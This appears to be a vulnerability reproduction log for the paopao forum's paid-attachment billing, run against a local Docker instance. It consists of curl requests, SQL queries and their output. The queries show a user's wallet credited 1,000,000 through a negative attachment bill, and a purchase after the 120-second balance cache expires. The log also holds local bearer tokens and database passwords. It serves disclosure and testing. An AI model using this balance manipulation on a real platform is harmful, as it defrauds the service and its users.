$ docker compose exec -T db mysql -upaopao -ppaopao paopao -e "select id,username,balance from p_user where username in ('alice','bob')"
id	username	balance
100058	alice	0
100059	bob	1000000
$ docker compose exec -T db mysql -upaopao -ppaopao paopao -e "select id,post_id,user_id,change_amount,balance_snapshot,reason from p_wallet_statement"
id	post_id	user_id	change_amount	balance_snapshot	reason
10010	1080017989	100059	1000000	1000000	购买附件支出
$ docker compose exec -T db mysql -upaopao -ppaopao paopao -e "select post_id,user_id,paid_amount from p_post_attachment_bill"
post_id	user_id	paid_amount
1080017989	100059	-1000000

余额在用户缓存中保留 120 秒。alice 再发布一条价格 100 的附件:

printf 'content of real\n' > secret.txt
zip -q real.zip secret.txt
curl -s -X POST http://127.0.0.1:8008/v1/attachment \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6IjQzN2U4MTU4MWRjZjk4ZDkxZDlkNWMzNGYyYzUxMDY2IiwiZXhwIjoxNzk0ODg1MzczfQ.7o3jmI73roz7q_rC7m0oF61MsIumZcGhedQ9aCknlnw' \
  -F 'file=@real.zip;type=application/zip' -F 'type=attachment'
curl -s -X POST http://127.0.0.1:8008/v1/post \
  -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OCwidXNlcm5hbWUiOiJhbGljZSIsImlzcyI6IjQzN2U4MTU4MWRjZjk4ZDkxZDlkNWMzNGYyYzUxMDY2IiwiZXhwIjoxNzk0ODg1MzczfQ.7o3jmI73roz7q_rC7m0oF61MsIumZcGhedQ9aCknlnw' \
  -d '{"contents":[{"content":"http://127.0.0.1:8008/oss/paopao/attachment/cb/19/e7/15/b181-4503-a317-49a64e4b8726.zip","type":8,"sort":1}],"tags":["paid"],"users":[""],"visibility":0,"attachment_price":100}'
{"code":0,"msg":"success","data":{"id":1080017990,"user_id":100058,"user":{"id":100058,"nickname":"alice","username":"alice","status":1,"avatar":"https://paopao-demo.vercel.app/avatar/default/abigail.png","is_admin":false,"is_friend":false,"is_following":false},"contents":[{"id":180022547,"post_id":1080017990,"content":"http://127.0.0.1:8008/oss/paopao/attachment/cb/19/e7/15/b181-4503-a317-49a64e4b8726.zip","type":8,"sort":1}],"comment_count":0,"collection_count":0,"share_count":0,"upvote_count":0,"visibility":90,"is_top":0,"is_essence":0,"is_lock":0,"latest_replied_on":1794796816,"created_on":1794796816,"modified_on":1794796816,"tags":{"paid":1},"attachment_price":100,"ip_loc":"局域网"}}

等待 121 秒让缓存过期,bob 下载这条价格为 100 的附件:

curl -s "http://127.0.0.1:8008/v1/attachment?id=180022547" -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEwMDA1OSwidXNlcm5hbWUiOiJib2IiLCJpc3MiOiIyMGI5ODhlZmJhOTE5YWNlY2FmYjI5NDFmMDZjMGZmYSIsImV4cCI6MTc5NDg4NTM3M30.-aT5n4HuQhebAzU2x6iRsyW9lMraukJL4hZkbhR_tX4'
{"code":0,"msg":"success","data":{"signed_url":"http://127.0.0.1:8008/oss/paopao/attachment/cb/19/e7/15/b181-4503-a317-49a64e4b8726.zip?expired=1794796876"}}
$ docker compose exec -T db mysql -upaopao -ppaopao paopao -e "select id,username,balance from p_user where username in ('alice','bob')"
id	username	balance
100058	alice	80
100059	bob	999900
$ docker compose exec -T db mysql -upaopao -ppaopao paopao -e "select id,post_id,user_id,change_amount,balance_snapshot,reason from p_wallet_statement"
id	post_id	user_id	change_amount	balance_snapshot	reason
10010	1080017989	100059	1000000	1000000	购买附件支出
10011	1080017990	100059	-100	999900	购买附件支出
10012	1080017990	100058	80	80	出售附件收入